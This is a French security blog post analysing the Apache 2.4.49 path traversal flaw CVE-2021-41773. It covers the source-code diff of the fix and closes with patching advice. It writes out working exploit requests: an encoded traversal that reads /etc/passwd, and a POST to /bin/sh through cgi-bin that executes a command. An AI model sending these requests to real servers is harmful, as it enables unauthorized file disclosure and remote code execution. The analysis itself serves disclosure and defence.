Vulnérabilité critique Apache CVE-2021-41773

Tristan Leiter
Blog cybersécurité

De quoi parle t-on?

La vulnérabilité CVE-2021-41773 qui affecte le serveur web Apache a été rendue publique le 5 octobre 2021. Elle concerne uniquement la version 2.4.49 qui était jusqu’à lundi 4 octobre la dernière version disponible. En conséquence, beaucoup de serveurs exposés sur internet tournent sous cette version et sont de ce fait vulnérables.

La vulnérabilité permet à un attaquant non authentifié de lire des fichiers sur le serveur, même si celui-ci se trouve en dessous de la racine du serveur web. Elle permet également, si le module mod_cgi est activé, d’exécuter du code sur la machine.

Détails techniques

La vulnérabilité de type LFI (Local file inclusion) permet avec une requête web non authentifiée de lire le contenu de n’importe quel fichier auquel l’utilisateur "apache" a accès. Dans l’exemple ci-dessous nous affichons le contenu du fichier /etc/passwd :

GET /.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd
Host: [REDACTED]
HTTP/1.1 200 OK
Server: Apache/2.4.49 (Unix)

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
…

De plus si le module mod_cgi est activé, il est également possible d’exécuter du code. Dans la requête ci-dessous, la commande ls -a est exécutée et le résultat redirigé dans un fichier accessible depuis le serveur web.

Exécution de la commande

POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
Host: [REDACTED]
Accept: */*
Content-Type: application/x-www-form-urlencoded
Content-Length: 45

A=|ls -a />>/usr/local/apache2/htdocs/results

Recuperation du résultat

GET /results HTTP/1.1
Host: [REDACTED]
HTTP/1.1 200 OK
Server: Apache/2.4.49 (Unix)

drwxr-xr-x   1 root root   28 Oct  6 09:42 .
drwxr-xr-x   1 root root   28 Oct  6 09:42 ..
drwxr-xr-x   1 root root   52 Oct  6 09:42 bin
drwxr-xr-x   2 root root    6 Jun 13 10:30 boot
drwxr-xr-x   5 root root  360 Oct  6 09:42 dev
drwxr-xr-x   1 root root   66 Oct  6 09:42 etc
drwxr-xr-x   2 root root    6 Jun 13 10:30 home

Analyse du code source

Intéressons-nous au code source pour comprendre comment cette vulnérabilité est apparue dans la version d’Apache 2.4.49.

En faisant un diff des versions 2.4.49 et 2.4.50 on remarque que plusieurs fichiers C ont été modifiés, notamment le fichier /server/util.c qui contient des fonctions génériques. L’une d’entre elles, nommée ap_normalize_path, attire forcément l’attention.

diff util.c.49 util.c.50
in ap_normalize_path :
570,571c571,581
<                 /* Remove /xx/../ segments */
<                 if (path[l + 1] == '.' && IS_SLASH_OR_NUL(path[l + 2])) {
---
>                 /* Remove /xx/../ segments (or /xx/.%2e/ when
>                  * AP_NORMALIZE_DECODE_UNRESERVED is set since we
>                  * decoded only the first dot above).
>                  */
>                 n = l + 1;
>                 if ((path[n] == '.' || (decode_unreserved
>                                         && path[n] == '%'
>                                         && path[++n] == '2'
>                                         && (path[++n] == 'e'
>                                             || path[n] == 'E')))
>                         && IS_SLASH_OR_NUL(path[n + 1])) {

Cette fonction est utilisée pour normaliser les chemins d’accès aux fichiers. En d’autres mots, c’est une méthode d'assainissement pour supprimer les traversements de répertoires (directory traversals) du type ../ et ainsi rendre impossible l'accès à des fichiers sous la racine du serveur web.

Dans la version 2.4.49, la fonction vérifie si la chaine de charactères ../ est présente, et si c’est le cas elle la supprime:

if (path[l + 1] == '.' && IS_SLASH_OR_NUL(path[l + 2]))

Cependant, dans une URL, il est possible de représenter un caractère de différentes manières. Le . (point) peut également être représenté sous la forme %2e ou %2E. Dans la version .2.4.50 cet oubli a été corrigé puisqu’on tient compte de ce format:

if ((path[n] == '.' || (decode_unreserved && path[n] == '%' && path[++n] == '2'
 && (path[++n] == 'e' || path[n] == 'E')))

Si on regarde maintenant ce qui était fait dans la version 2.4.48, la fonction ap_normalize_path n’existait pas et était remplacée par la fonction ap_getparents:

/* c) remove all xx/../ segments. (including leading ../ and /../) */
    l = first_dot;

    while (name[l] != '\0') {
        if (name[l] == '.' && name[l + 1] == '.' && IS_SLASH(name[l + 2])
            && (l == 0 || IS_SLASH(name[l - 1]))) {
            int m = l + 3, n

Même si le code a des similarités avec les versions suivantes, il est fondamentalement différent. En regardant le fichier util.c dans son ensemble, on remarque qu’il a été entièrement récrit ce qui explique l’apparition de cette nouvelle vulnérabilité.

En Suisse

Une rapide recherche avec Shodan nous montre que 443 serveurs tournent sous la version 2.4.49 en Suisse.

Ce résultat correspond uniquement aux serveurs qui "annoncent" leur version dans un entête HTTP. Le nombre réel est forcément plus important.

Conclusion et recommandations

Il s'agit d'une vulnérabilité critique et et nous incitons instamment tous les détenteurs de serveurs Apache à vérifier quelle version est utilisée et si nécessaire (version 2.4.49) à appliquer le patch immédiatement.